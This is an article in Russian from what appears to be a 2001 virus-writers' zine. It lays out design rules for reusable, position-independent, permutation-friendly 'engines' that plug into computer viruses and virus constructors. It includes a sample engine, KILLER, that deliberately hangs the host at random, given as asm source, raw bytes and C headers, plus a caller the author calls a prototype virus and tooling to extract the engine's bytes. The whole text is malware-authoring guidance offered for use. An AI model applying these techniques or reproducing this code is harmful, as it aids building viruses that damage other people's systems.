·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
│ │ │ │ ├─┤│ / │ ││││├┴┐┬├─ ┬│ ├─┤ │ ┬│ ││└┤ Issue #1, January-2001
··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························
············································································
ОБЩИЕ РЕКОМЕНДАЦИИ ПО НАПИСАНИЮ ДВИЖКОВ
версия 2.00
············································································
ДВИЖОК (engine) -- некоторый модуль используемый в вирусах.
(представленный в бинарной форме и/или в сорцах любого языка)
ВВЕДЕНИЕ
Этот текст был написан с единственно одной целью: обозначить признаки,
которыми, на мой взгляд, должен обладать удобный движок.
Надо сказать, что подобное желание возникло уже после того, как я
прочувствовал все плюсы использования готовых компонент для создания
вирусов. Были созданы движки LDE32, KME32, ETG, CMIX, DSCRIPT, EXPO, RPME,
CODEGEN, PRCG, MACHO и MISTFALL, обладающие почти всеми свойствами,
описанными в этом тексте. Однако даже и тех небольших преимуществ от
попытки эти движки стандартизировать было достаточно чтобы понять всю
важность приведения движков к некоторому "стандартному" виду. Следует
сразу заметить: подобная "стандартизация" влияет скорее на алгоритм и
внешний вид, чем на код, и ни коим образом не может послужить упрощению
работы антивирусов.
КОД
Движок должен содержать только исполняемый код. Таким образом движок
не должен содержать никаких данных в явном виде. (достигается генерацией
данных кодом)
Движок не должен содержать никаких абсолютных смещений. Для этого
можно создать некую структуру общих вирусных данных в стэке и передавать
поинтер на эту структуру.
Движок не должен непосредственно использовать никаких внешних данных и
не должен непосредственно вызывать никаких внешних процедур.
(достигается передачей движку указателей на данные/код)
Движок не должен содержать никаких непосредственных системных вызовов.
Хотите работать в движке с файлами? - пишите свои процедуры работы с
файлами, так, как это удобнее в конкретном вирусе, передаете на них
указатели и движок становится универсальным.
PUBLIC-функции
Параметры каждой функции должны передаваться только на стэке. Каждая
функция должна сохранять и восстанавливать все регистры. При выходе из
функции флаг DF должен быть сброшен в 0 (CLD). Результат (если он нужен)
должен возвращаться в регистре EAX.
ИСХОДНИКИ
Если движок поставляется в исходниках, то переменные, аргументы,
константы, внутренние процедуры и все прочие имена и метки должны быть
уникальными, то есть такими, чтобы они не встретились в чьем-нибудь еще
движке или в вашем же другом движке (тут частично помогают локальные
метки).
Если при передаче данных между движком и вызывающим кодом используются
данные, то все они должны быть описаны в отдельном .INC файле.
ДОКУМЕНТАЦИЯ
К движку должна прилагаться документация, в которой будет указано:
- описание движка;
- описание PUBLIC-процедур и их параметров;
- описание замеченных глюков (т.е. фич);
- где движок тестировался, то есть когда он точно работает,
когда не работает, а когда хз;
ЖЕЛАТЕЛЬНО
Чтобы в движке существовала одна (и только одна) PUBLIC-функция,
которая бы шла В НАЧАЛЕ исполняемого кода (хотите в середине - вставьте в
начало JMP), и чтобы написана она была в стиле cdecl (RET с последующим
ADD ESP, xx) или pascal-функции (выход по RET nnnn).
Чтобы алгоритм и код движка использовали в качестве данных только свой
стэк и были написаны с учетом мультитреадности.
Чтобы движок был написан инструкциями real 386, то есть чтобы
отсутствовали привилегированные инструкции/регистры и все 486+ инструкции
вообще.
ЧТО В РЕЗУЛЬТАТЕ
С использованием всех вышеперечисленных ограничений и фич, получаем
код движка: независимый ни от кольца защиты, ни от операционки, ни от
смещения по которому он находится. Такой код легко подвергается
пермутации. Код или исходники такого движка легко могут быть подключены к
другим движкам, вирусам, генераторам вирусов или вирусным конструкторам.
Более того, решается просто глобальная задача связи asm- и cpp- кода,
без использования obj-ей.
ПРИМЕР ОФОРМЛЕНИЯ ДВИЖКА
Движок: KILLER. Задача: произвести зависание с вероятностью 1/1000.
Исходник:
····[begin KILLER.ASM]·······················································
engine proc c
arg user_param ; user-data
arg user_random ; external randomer
arg arg1
arg arg2 ; other parameters
arg arg3
pusha
cld
;;
push 1000
push user_param
call user_random
add esp, 8
;;
cmp eax, 666
je $
;;
popa
ret
endp
····[end KILLER.ASM]·························································
Полученный в результате инклюдник на ASM:
····[begin KILLER.INC]·······················································
; KILLER 1.00 engine
db 0C8h,000h,000h,000h,060h,0FCh,068h,0E8h
db 003h,000h,000h,0FFh,075h,008h,0FFh,055h
db 00Ch,083h,0C4h,008h,03Dh,09Ah,002h,000h
db 000h,074h,0FEh,061h,0C9h,0C3h
····[end KILLER.INC]·························································
Тот же самый инклюдник на C/C++:
····[begin KILLER.CPP]·······················································
// KILLER 1.00 engine
BYTE killer_bin[30] =
{
0xC8,0x00,0x00,0x00,0x60,0xFC,0x68,0xE8,
0x03,0x00,0x00,0xFF,0x75,0x08,0xFF,0x55,
0x0C,0x83,0xC4,0x08,0x3D,0x9A,0x02,0x00,
0x00,0x74,0xFE,0x61,0xC9,0xC3
};
····[end KILLER.CPP]·························································
Инклюдник/хеадер на ASM:
····[begin KILLER.ASH]·······················································
; KILLER 1.00 engine
KILLER_VERSION equ 0100h
····[end KILLER.ASH]·························································
Инклюдник/хеадер на C/C++:
····[begin KILLER.HPP]·······················································
// KILLER 1.00 engine
#ifndef __KILLER_HPP__
#define __KILLER_HPP__
#define KILLER_VERSION 0x0100
typedef
void __cdecl killer_engine(
DWORD user_param, // user-parameter
DWORD __cdecl user_random(DWORD user_param, DWORD range),
DWORD arg1,
DWORD arg2,
DWORD arg3);
#endif //__KILLER_HPP__
····[end KILLER.HPP]·························································
Пример вызова движка на ASM:
····[begin EXAMPLE.ASM]······················································
; KILLER 1.00 usage example
include killer.ash
callW macro x
extern x:PROC
call x
endm
v_data struc
v_randseed dd ?
; ...
ends
p386
model flat
locals __
.data
dd ?
.code
start: call virus_code
push -1
callW ExitProcess
virus_code: pusha
sub esp, size v_data
mov ebp, esp
;;
callW GetTickCount
xor [ebp].v_randseed, eax ; randomize
;;
push 3
push 2 ; parameters
push 1
call $+5+2 ; pointer to randomer
jmp short my_random
push ebp ; user-param, v_data ptr
call killer_engine
add esp, 4*5
;;
add esp, size v_data
popa
retn
; DWORD __cdecl random(DWORD user_param, DWORD range)
; [esp+4] [esp+8]
my_random: mov ecx, [esp+4] ; v_data ptr
mov eax, [ecx].v_randseed
imul eax, 214013
add eax, 2531011
mov [ecx].v_randseed, eax
shr eax, 16
imul eax, [esp+8]
shr eax, 16
retn
killer_engine:
include killer.inc
virus_size equ $-virus_code
end start
····[end EXAMPLE.ASM]························································
Пример использования на C/C++:
····[begin EXAMPLE.CPP]······················································
#include <windows.h>
#include "killer.hpp"
#include "killer.cpp"
DWORD randseed = GetTickCount();
DWORD __cdecl my_random(DWORD user_param,DWORD range)
{
return range ? (randseed = randseed * 214013 + 2531011) % range : 0;
}
void main()
{
void* killer_ptr = &killer_bin;
(*(killer_engine*)killer_ptr) (0x12345678, my_random, 1,2,3);
}
····[end EXAMPLE.CPP]························································
Пример программки для компиляции исходника движка:
····[begin BUILD.ASM]························································
p386
model flat
locals __
.data
db 0EBh,02h,0FFh,01h ; signature
include killer.asm
db 0EBh,02h,0FFh,02h ; signature
.code
start: push -1
callW ExitProcess
end start
····[end BUILD.ASM]··························································
Пример программки для выдирания бинарной (DB,DB,...) версии движка из
скомпиленного EXE-файла:
····[begin HAXOR.CPP]························································
#include <stdio.h>
#include <stdlib.h>
#pragma hdrstop
void main()
{
FILE*f=fopen("build.exe","rb");
int bufsize = filelength(fileno(f));
BYTE* buf = new BYTE[bufsize];
fread(buf, 1,bufsize, f);
fclose(f);
int id1=0, id2=0;
for (int i=0; i<bufsize; i++)
{
if (*(DWORD*)&buf[i] == 0x01FF02EB) id1=i+4; // check signature
if (*(DWORD*)&buf[i] == 0x02FF02EB) id2=i; // check signature
}
f=fopen("killer.inc","wb");
fprintf(f,"; KILLER 1.00 engine\r\n");
for (int i=0; i<id2-id1; i++)
{
if ((i%8)==0) fprintf(f,"db ");
fprintf(f,"0%02Xh", buf[id1+i]);
if (((i%8)==7)||(i==id2-id1-1)) fprintf(f,"\r\n"); else fprintf(f,",");
}
fclose(f);
f=fopen("killer.cpp","wb");
fprintf(f,"// KILLER 1.00 engine\r\n");
fprintf(f,"BYTE killer_bin[%i] = {\r\n",id2-id1);
for (int i=0; i<id2-id1; i++)
{
if ((i%8)==0) fprintf(f," ");
fprintf(f,"0x%02X", buf[id1+i]);
if (i!=id2-id1-1) fprintf(f,",");
if ((i%8)==7) fprintf(f,"\r\n");
}
fprintf(f," };\r\n");
fclose(f);
}
····[end HAXOR.CPP]··························································
Обратим внимание на example.asm -- прообраз будущего вируса. В файле
используется движок, движок использует внешннюю процедуру (рандомер), а
рандомер использует randseed который создан в основном теле вируса и
инициализирован перед вызовом движка. В результате не только этот движок,
но и любой другой, да и сам вирус, смогут вызывать одну и ту же внешнюю
процедуру (в данном случае рандомер, но это могли бы быть функции работы с
файлами и другие движки). Очевидно, что call GetTickCount, произведенный
перед вызовом движка, в настоящем вирусе будет произведен по
соответствующему вычисленному кернеловскому адресу.
Заметим, что все это написано без использования оффсетов как таковых.
Итак, задача достигнута: движок компиляется отдельно, отлаживается так
же отдельно, в example.cpp (имхо на cpp отлаживать алгоритмы быстрее и
проще чем на asm), и используется в вирусах на ассемблере.
············································································